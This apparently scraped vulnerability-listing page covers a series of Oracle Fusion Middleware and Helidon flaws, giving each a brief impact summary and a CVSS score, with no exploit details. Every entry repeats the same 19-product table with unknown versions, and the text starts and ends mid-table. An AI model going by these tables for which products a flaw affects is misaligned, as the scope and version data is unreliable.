Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware's Helidon 3.2.18 with a CVSS 3.1 score of 9.8 allows full system compromise via HTTP, severely impacting confidentiality, integrity, and availability.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows low-privileged attackers with HTTPS network access to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.1 indicating high confidentiality and integrity impact.
8.1 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows low-privileged attackers with infrastructure access to fully compromise the system, with a CVSS 3.1 base score of 7.8.
7.8 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Access Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with network access to cause a partial denial of service, rated with a CVSS 3.1 base score of 4.3.
4.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware Helidon 4.5.0 with a CVSS 3.1 base score of 9.8 allows full system compromise via HTTP.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A denial of service vulnerability in Oracle Fusion Middleware's Helidon 1.4.20 allows unauthenticated attackers with HTTP access to hang or crash the server, rated CVSS 3.1 base score 7.5 for availability impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows a low-privileged attacker with infrastructure access to compromise the system, potentially leading to unauthorized data access and modification, with a CVSS 3.1 base score of 6.1.
6.1 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows low-privileged attackers with HTTP network access to gain unauthorized access and modify data, with a CVSS 3.1 base score of 8.5.
8.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated attackers with HTTP network access to perform unauthorized data modifications, rated with a CVSS 3.1 base score of 5.3 indicating an integrity impact.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware's Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to gain unauthorized access and modify critical data, with a CVSS 3.1 base score of 8.2.
8.2 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A high-severity vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows low-privileged attackers with HTTP network access to potentially compromise system confidentiality, integrity, and availability.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated remote attackers to cause a partial denial of service via HTTP, with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated network attackers via HTTP to potentially access or modify critical data, rated with a CVSS 3.1 base score of 6.5 indicating moderate severity.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
